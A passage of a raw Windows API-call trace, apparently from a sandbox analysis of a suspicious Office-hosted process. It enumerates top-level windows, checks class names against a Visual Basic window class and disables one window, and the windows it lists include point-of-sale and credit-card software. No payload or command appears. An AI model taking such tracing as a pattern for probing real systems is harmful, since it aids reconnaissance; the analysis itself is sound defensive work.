lpdwProcessId=0x0) returned 0x4c4 [0175.649] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0175.649] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0175.649] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0175.649] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0175.649] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0175.649] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0175.649] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0175.649] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0175.649] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.649] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.649] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0175.649] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0175.649] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0175.649] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0175.649] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0175.650] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0175.650] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0175.650] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0175.650] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0175.650] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0175.650] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0175.650] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0175.650] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0175.650] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0175.650] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0175.650] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0175.650] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0175.650] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0175.650] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x140264 [0175.650] GetClassNameA (in: hWnd=0x140264, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0175.650] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0175.650] GetWindowThreadProcessId (in: hWnd=0x140264, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0175.650] GetWindow (hWnd=0x140264, uCmd=0x2) returned 0x400c0 [0175.650] GetClassNameA (in: hWnd=0x400c0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.650] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.650] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0175.650] GetWindow (hWnd=0x400c0, uCmd=0x2) returned 0x20360 [0175.650] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0175.650] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0175.650] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0175.650] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0175.650] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0175.650] IsWindowEnabled (hWnd=0x20360) returned 1 [0175.650] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0175.650] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0175.650] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0175.651] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0175.651] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0175.651] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0175.651] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0175.651] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0175.651] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0175.651] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0175.651] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0175.651] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0175.651] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0175.651] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0175.651] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0175.651] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0175.651] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0175.651] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0175.651] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0175.651] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0175.651] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0175.651] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0175.651] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0175.651] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0175.651] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0175.651] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0175.651] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0175.651] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0175.651] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0175.651] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0175.651] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0175.651] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0175.651] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0175.651] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0175.651] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0175.651] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0175.651] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0175.651] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0175.651] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0175.651] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0175.651] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0175.652] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0175.652] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0175.652] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0175.652] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0175.652] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0175.652] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0175.652] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0175.652] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0175.652] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0175.652] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0175.652] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0175.652] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0175.652] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0175.652] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.652] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0175.652] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.652] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.652] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0175.652] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0175.652] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0175.652] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0175.652] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0175.652] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0175.652] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0175.652] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0175.652] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0175.652] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0175.652] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0175.652] GetClassNameA (in: hWnd=0x10292, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0175.652] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0175.652] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0175.652] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0175.652] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0175.652] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0175.652] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0175.652] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.653] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0175.653] GetClassNameA (in: hWnd=0x300be, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0175.653] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0175.653] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.653] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0175.653] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0175.653] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0175.653] GetWindowThreadProcessId (in: hWnd=0x300e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.653] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0175.653] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0175.653] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0175.653] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.653] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0175.653] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0175.653] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0175.653] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.653] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0175.653] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0175.653] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0175.653] GetWindowThreadProcessId (in: hWnd=0x400b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.653] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0175.653] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0175.653] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0175.653] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0175.653] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0175.653] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.653] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.653] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0175.653] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0175.653] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0175.653] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0175.653] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0175.653] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0175.653] GetClassNameA (in: hWnd=0x10258, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0175.654] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0175.654] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0175.654] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0175.654] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.654] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.654] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0175.654] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0175.654] GetClassNameA (in: hWnd=0x10254, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0175.654] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0175.654] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0175.654] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0175.654] GetClassNameA (in: hWnd=0x10256, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.654] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.654] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0175.654] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0175.654] GetClassNameA (in: hWnd=0x20250, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0175.654] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0175.654] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0175.654] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0175.654] GetClassNameA (in: hWnd=0x10252, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.654] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.654] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0175.654] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0175.654] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0175.654] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0175.654] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0175.654] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0175.654] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.654] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.654] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0175.654] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0175.654] GetClassNameA (in: hWnd=0x10248, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0175.654] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0175.654] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0175.655] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0175.655] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.655] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.655] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0175.655] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0175.655] GetClassNameA (in: hWnd=0x10244, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0175.655] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0175.655] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0175.655] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0175.655] GetClassNameA (in: hWnd=0x10246, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.655] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.655] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0175.655] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0175.655] GetClassNameA (in: hWnd=0x10240, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="fposwin") returned 7 [0175.655] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0175.655] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0175.655] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0175.655] GetClassNameA (in: hWnd=0x10242, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.655] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.655] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0175.655] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0175.655] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0175.655] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0175.655] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0175.655] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0175.655] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.655] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.655] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0175.655] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0175.655] GetClassNameA (in: hWnd=0x10238, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="creditservice_wnd") returned 17 [0175.655] lstrcmpA (lpString1="creditservice_wnd", lpString2="ThunderRT6Main") returned -1 [0175.655] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0175.655] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0175.655] GetClassNameA (in: hWnd=0x1023a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.656] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.656] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0175.656] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0175.656] GetClassNameA (in: hWnd=0x10234, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="centralcreditcardwindow") returned 23 [0175.656] lstrcmpA (lpString1="centralcreditcardwindow", lpString2="ThunderRT6Main") returned -1 [0175.656] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0175.656] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0175.656] GetClassNameA (in: hWnd=0x10236, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.656] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.656] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0175.656] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0175.656] GetClassNameA (in: hWnd=0x10230, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ccv_server_cls") returned 14 [0175.656] lstrcmpA (lpString1="ccv_server_cls", lpString2="ThunderRT6Main") returned -1 [0175.656] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0175.656] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0175.656] GetClassNameA (in: hWnd=0x10232, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.656] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.656] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0175.656] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0175.656] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="aldelo_window") returned 13 [0175.656] lstrcmpA (lpString1="aldelo_window", lpString2="ThunderRT6Main") returned -1 [0175.656] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0175.656] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0175.656] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.656] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.656] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0175.656] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0175.656] GetClassNameA (in: hWnd=0x10228, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="afr38_") returned 6 [0175.656] lstrcmpA (lpString1="afr38_", lpString2="ThunderRT6Main") returned -1 [0175.656] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0175.656] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0175.656] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.656] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.656] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0175.657] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0175.657] GetClassNameA (in: hWnd=0x10224, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="accupos_app") returned 11 [0175.657] lstrcmpA (lpString1="accupos_app", lpString2="ThunderRT6Main") returned -1 [0175.657] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0175.657] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0175.657] GetClassNameA (in: hWnd=0x10226, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.657] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.657] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0175.657] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0175.657] GetClassNameA (in: hWnd=0x10220, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="active-chargecls") returned 16 [0175.657] lstrcmpA (lpString1="active-chargecls", lpString2="ThunderRT6Main") returned -1 [0175.657] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0175.657] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0175.657] GetClassNameA (in: hWnd=0x10222, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0175.657] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0175.657] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0175.657] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0175.657] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="yahoomessengerclass") 